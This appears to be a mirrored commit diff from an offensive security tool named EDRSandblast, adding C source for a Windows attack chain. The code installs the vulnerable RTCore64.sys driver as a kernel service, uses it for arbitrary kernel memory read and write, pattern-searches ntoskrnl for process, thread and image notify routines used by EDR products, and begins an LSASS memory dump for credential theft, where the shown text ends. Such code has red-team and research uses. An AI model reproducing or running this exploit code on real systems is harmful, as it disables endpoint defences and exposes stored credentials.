mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-11 01:41:20 +00:00
Initial commit for public version
Co-authored-by: Thomas Diot <thomas.diot@wavestone.com>
This commit is contained in:
@@ -0,0 +1,200 @@
|
||||
/*
|
||||
|
||||
--- Driver install / uninstall functions.
|
||||
--- Source and credit: https://github.com/gentilkiwi/mimikatz
|
||||
|
||||
*/
|
||||
|
||||
#include "DriverOps.h"
|
||||
|
||||
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
|
||||
BOOL status = FALSE;
|
||||
DWORD dwSizeNeeded;
|
||||
PSECURITY_DESCRIPTOR oldSd, newSd;
|
||||
SECURITY_DESCRIPTOR dummySdForXP;
|
||||
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
|
||||
|
||||
EXPLICIT_ACCESS ForEveryoneACL = {
|
||||
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
|
||||
SET_ACCESS,
|
||||
NO_INHERITANCE,
|
||||
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
|
||||
};
|
||||
|
||||
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
|
||||
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
|
||||
if (oldSd) {
|
||||
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
|
||||
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
|
||||
|
||||
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
|
||||
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
|
||||
LocalFree(newSd);
|
||||
}
|
||||
|
||||
FreeSid(ForEveryoneACL.Trustee.ptstrName);
|
||||
}
|
||||
}
|
||||
LocalFree(oldSd);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
|
||||
SC_HANDLE hSC = NULL, hS = NULL;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, SERVICE_START);
|
||||
if (hS) {
|
||||
_tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName);
|
||||
}
|
||||
|
||||
else {
|
||||
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||
_tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName);
|
||||
|
||||
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
|
||||
|
||||
if (hS) {
|
||||
_tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName);
|
||||
if (ServiceAddEveryoneAccess(hS)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] ServiceAddEveryoneAccess"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("CreateService"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenService"));
|
||||
}
|
||||
}
|
||||
|
||||
if (hS) {
|
||||
if (startIt) {
|
||||
if (StartService(hS, 0, NULL)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service started\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||
_tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("StartService"));
|
||||
return GetLastError();
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
|
||||
return GetLastError();
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
|
||||
BOOL status = FALSE;
|
||||
SC_HANDLE hSC, hS;
|
||||
SERVICE_STATUS serviceStatus;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, dwDesiredAccess);
|
||||
if (hS) {
|
||||
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
|
||||
|
||||
// Used as a stop point for recursive calls to ServiceUninstall.
|
||||
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
|
||||
_tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
|
||||
_tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
|
||||
_tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
|
||||
SERVICE_STATUS status;
|
||||
BOOL deleted = FALSE;
|
||||
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
|
||||
if (hS) {
|
||||
if (QueryServiceStatus(hS, &status)) {
|
||||
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
|
||||
CloseServiceHandle(hS);
|
||||
CloseServiceHandle(hSC);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
else {
|
||||
deleted = DeleteService(hS);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
if (!deleted) {
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
return deleted;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
--- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions.
|
||||
--- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified.
|
||||
|
||||
*/
|
||||
|
||||
BOOL InstallVulnerableDriver(TCHAR* driverPath) {
|
||||
const TCHAR svcDesc[] = TEXT("");
|
||||
|
||||
DWORD status = ServiceInstall(gVulnDriverServiceName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
|
||||
|
||||
if (status == 0x00000005) {
|
||||
_tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n"));
|
||||
}
|
||||
|
||||
return status == 0x0;
|
||||
}
|
||||
|
||||
BOOL UninstallVulnerableDriver() {
|
||||
BOOL status = ServiceUninstall(gVulnDriverServiceName, 0);
|
||||
|
||||
if (!status) {
|
||||
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
/*
|
||||
|
||||
--- ntoskrnl.exe / wdigest.dll version compute functions.
|
||||
|
||||
*/
|
||||
|
||||
#include "FileVersion.h"
|
||||
|
||||
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
DWORD verHandle = 0;
|
||||
UINT size = 0;
|
||||
LPVOID lpBuffer = NULL;
|
||||
|
||||
DWORD verSize = GetFileVersionInfoSize(filename, &verHandle);
|
||||
|
||||
if (verSize != 0) {
|
||||
LPTSTR verData = (LPTSTR)calloc(verSize, 1);
|
||||
|
||||
if (!verData) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n"));
|
||||
return;
|
||||
}
|
||||
|
||||
if (GetFileVersionInfo(filename, 0, verSize, verData)) {
|
||||
if (VerQueryValue(verData, TEXT("\\"), &lpBuffer, &size)) {
|
||||
if (size) {
|
||||
VS_FIXEDFILEINFO* verInfo = (VS_FIXEDFILEINFO*)lpBuffer;
|
||||
if (verInfo->dwSignature == 0xfeef04bd) {
|
||||
DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff;
|
||||
DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff;
|
||||
_stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion);
|
||||
// _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
free(verData);
|
||||
}
|
||||
}
|
||||
|
||||
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
TCHAR ntoskrnlPath[MAX_PATH] = { 0 };
|
||||
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory);
|
||||
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
|
||||
_stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
|
||||
}
|
||||
|
||||
void GetWdigestVersion(TCHAR* wdigestVersion) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
TCHAR wdigestPath[MAX_PATH] = { 0 };
|
||||
_tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory);
|
||||
_tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll"));
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
|
||||
|
||||
_stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
/*
|
||||
|
||||
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
|
||||
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
|
||||
|
||||
*/
|
||||
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
|
||||
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
|
||||
|
||||
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
|
||||
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
||||
MemoryRead.Address = Address;
|
||||
MemoryRead.ReadSize = Size;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
DeviceIoControl(Device,
|
||||
RTCORE64_MEMORY_READ_CODE,
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
|
||||
return MemoryRead.Value;
|
||||
}
|
||||
|
||||
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
|
||||
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
||||
MemoryRead.Address = Address;
|
||||
MemoryRead.ReadSize = Size;
|
||||
MemoryRead.Value = Value;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
DeviceIoControl(Device,
|
||||
RTCORE64_MEMORY_WRITE_CODE,
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
}
|
||||
|
||||
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
|
||||
}
|
||||
|
||||
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
|
||||
}
|
||||
|
||||
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
|
||||
}
|
||||
|
||||
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
|
||||
return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
|
||||
}
|
||||
|
||||
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
||||
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
||||
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
--- Kernel exploitation helpers.
|
||||
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
|
||||
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 FindNtoskrnlBaseAddress(void) {
|
||||
DWORD cbNeeded = 0;
|
||||
LPVOID drivers[1024];
|
||||
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
return (DWORD64)drivers[0];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
|
||||
|
||||
LPVOID drivers[1024];
|
||||
DWORD cbNeeded;
|
||||
int cDrivers = 0;
|
||||
int i = 0;
|
||||
TCHAR szDriver[1024] = { 0 };
|
||||
DWORD64 minDiff = MAXDWORD64;
|
||||
DWORD64 diff;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
cDrivers = cbNeeded / sizeof(drivers[0]);
|
||||
for (i = 0; i < cDrivers; i++) {
|
||||
if ((DWORD64)drivers[i] <= address) {
|
||||
diff = address - (DWORD64)drivers[i];
|
||||
if (diff < minDiff) {
|
||||
minDiff = diff;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
|
||||
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
|
||||
}
|
||||
|
||||
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
|
||||
|
||||
if (!ptrDrvier) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
_tcscpy_s(ptrDrvier, 1024, szDriver);
|
||||
return ptrDrvier;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
HANDLE GetDriverHandle() {
|
||||
TCHAR service[MAX_PATH] = { 0 };
|
||||
TCHAR suffix[] = TEXT("\\\\.\\");
|
||||
_tcsncat_s(service, _countof(service), suffix, _countof(suffix));
|
||||
_tcsncat_s(service, _countof(service), gVulnDriverServiceName, _tcslen(gVulnDriverServiceName));
|
||||
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if (Device == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return Device;
|
||||
}
|
||||
|
||||
DWORD64 GetFunctionAddress(LPCSTR function) {
|
||||
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
|
||||
DWORD64 address = 0;
|
||||
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
|
||||
if (ntoskrnl) {
|
||||
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
|
||||
address = ntoskrnlBaseAddress + offset;
|
||||
FreeLibrary(ntoskrnl);
|
||||
}
|
||||
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
|
||||
return address;
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
/*
|
||||
|
||||
--- ntoskrnl Notify Routines' offsets search functions using patterns.
|
||||
--- Ultimately not used because too unreliable and too prone to BSoD.
|
||||
|
||||
*/
|
||||
|
||||
#include "KernelPatternSearch.h"
|
||||
|
||||
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
|
||||
for (DWORD i = 0; i < bytesToScan; i++) {
|
||||
DWORD64 instructionAddress = startAddress + i;
|
||||
DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress);
|
||||
DWORD64 dword64InstructionFixed = dword64Instruction & mask;
|
||||
// _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
if (dword64InstructionFixed == pattern) {
|
||||
_tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
return instructionAddress;
|
||||
}
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
|
||||
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset);
|
||||
DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset;
|
||||
return nextInstructionAddress + procedureRelativeAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
|
||||
// Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine".
|
||||
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
|
||||
|
||||
// Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine".
|
||||
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
|
||||
_tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspCreateProcessNotifyRoutineAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
|
||||
// Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine".
|
||||
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
|
||||
|
||||
// Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]".
|
||||
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
|
||||
_tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspCreateThreadNotifyRoutineAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
|
||||
// Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]".
|
||||
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx");
|
||||
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
|
||||
_tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspLoadImageNotifyRoutineAddress;
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
/*
|
||||
|
||||
--- LSASS dump functions.
|
||||
|
||||
*/
|
||||
|
||||
#include "LSASSDump.h"
|
||||
|
||||
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
|
||||
{
|
||||
LUID luid;
|
||||
BOOL bRet = FALSE;
|
||||
|
||||
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
|
||||
{
|
||||
bRet = (GetLastError() == ERROR_SUCCESS);
|
||||
}
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
DWORD WINAPI dumpLSASSProcess(void* data) {
|
||||
HANDLE hProcessSnap;
|
||||
HANDLE hProcess;
|
||||
PROCESSENTRY32 pe32;
|
||||
DWORD dwPriorityClass;
|
||||
|
||||
TCHAR* outputDump = (TCHAR*)data;
|
||||
|
||||
//Enable the SeDebugPrivilege
|
||||
HANDLE hToken;
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||
{
|
||||
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set the size of the structure before using it.
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// Retrieve information about the first process,
|
||||
// and exit if unsuccessful
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure
|
||||
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Now walk the snapshot of processes, and look for lsass.
|
||||
do {
|
||||
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Retrieve the priority class.
|
||||
dwPriorityClass = 0;
|
||||
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcess)\n"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
else {
|
||||
dwPriorityClass = GetPriorityClass(hProcess);
|
||||
if (!dwPriorityClass) {
|
||||
